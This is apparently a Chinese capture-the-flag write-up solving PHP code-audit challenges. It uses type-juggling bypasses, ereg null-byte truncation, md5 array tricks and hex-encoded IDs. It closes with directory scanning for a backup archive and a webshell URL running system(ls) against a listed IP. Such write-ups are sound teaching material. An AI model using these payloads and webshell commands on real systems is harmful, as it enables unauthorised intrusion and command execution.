题目:
// 题目是php界面信息
99999999 && strlen($_GET['p1']) < 9){
echo "111";
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "$flag";
break;
default :
echo "2333333";
break;
}
}
}
}
}
?>
分析:
该题是标准的代码审计
// 参数p1的两个条件,大于99999999且字符串长度(strlen)小于9
if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
echo "111";
应答:
明显是较大数字与字符串长度之间的矛盾,处理这种情况可通过科学计数法表示,即p1=1e8,表示10的8次方,具体多大也不清楚。
// 参数p2首先不能是数字串
//is_numeric判断123、‘123’、0x123、‘0x123’等均为ture(1)
//也就意味着只有123abc这种混合类型为false(0)
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
应答:
对于is_numeric的处理,应调整为p2=123abc
// switch对p2进行进一步的限制
//switch会将其中的参数转换为int类型
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "$flag";
break;
default :
echo "2333333";
break;
}
应答:switch会将其中的参数转换为int类型,同时case为2的情况下输出flag,所以呀,只要把p2改为2aaaa就行。
// 训练题的payload
http://39.82.157.233:21010/web1/?p1=1e8&&p2=2aaaa
题目:
// 题目是php界面信息
You password must be alphanumeric';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('*-* have not been found
');
}
}
else
{
echo 'Invalid password
';
}
}
?>
分析:
该题是标准的代码审计
// ereg对password字符串组成进行限制
if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
{
echo 'You password must be alphanumeric
';
}
应答:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
但是,ereg()有个漏洞,即在特殊符号前可使用%00进行截断,传递特殊符号。所以暂时按兵不动。
// 参数password的两个条件,大于99999999且字符串长度(strlen)小于8
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
应答:明显是较大数字与字符串长度之间的矛盾,处理这种情况可通过科学计数法表示,即p1=1e8,表示10的8次方,具体多大也不清楚。
// strpos的使用,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('*-* have not been found
');
应答:!==false,意味着strpos() 函数必须要求‘-’在password中。构造涵盖*-*的password
综上所述,构造password=1e8%00*-*
// 训练题的payload
http://39.82.157.233:21010/web2/?password=1e8%00*-*
题目:
// 题目是php界面信息
// ==小判断
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
应答:if语句表示name!=password
// 对name和password进行md5的判断
if (md5($_POST['name']) === md5($_POST['password']))
...
else
{
die("账号密码错误!");
}
应答:这种md5比较有两种,一种是单纯的md5比较,一种是要求name!=password,还得要求两者加密值一样,可以通过构造数组绕过,原理是数组md5加密后会被传值为null。name[]=1&password[]=2
// 对id值的限制。
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
...
die("ID错误1!");
}
应答:首先是is_numeric,其次!==‘72’ ,最后是!preg_match(’/\s/’, $_POST[‘id’])),–应该是不能为字符串的形式,这个地方我不太熟练。
// 对id值的限制。
if($_POST['id']==72)
die("$flag");
else
die("ID错误2!");
}
应答:结合上一考点,都是对id的限制,但是很明确id!=72,因此构造id的十六进制数值id=0x48
综上所述,构造name[]=1&password[]=2&&id=0x48
小tips:别忘了这个
// 传参login。
if(isset($_POST['login']))
// 训练题的payload
post传参:login=&&name[]=1&password[]=2&&id=0x48
御剑、wfuzz、dirmap、dirsearch都可以
御剑一下吧,得到www.rar后缀文件
方法很多,caidao来啦
根目录下,找到flag
小tips:哈哈哈,试一试http输入怎么样
之前是加上了www,这次去掉www页面为空,按理说能过去,但是ls后还是不对,有些疑惑,等大佬。
// 训练题的payload
http://39.82.157.233:10010/js/.config.php?shell=system(ls);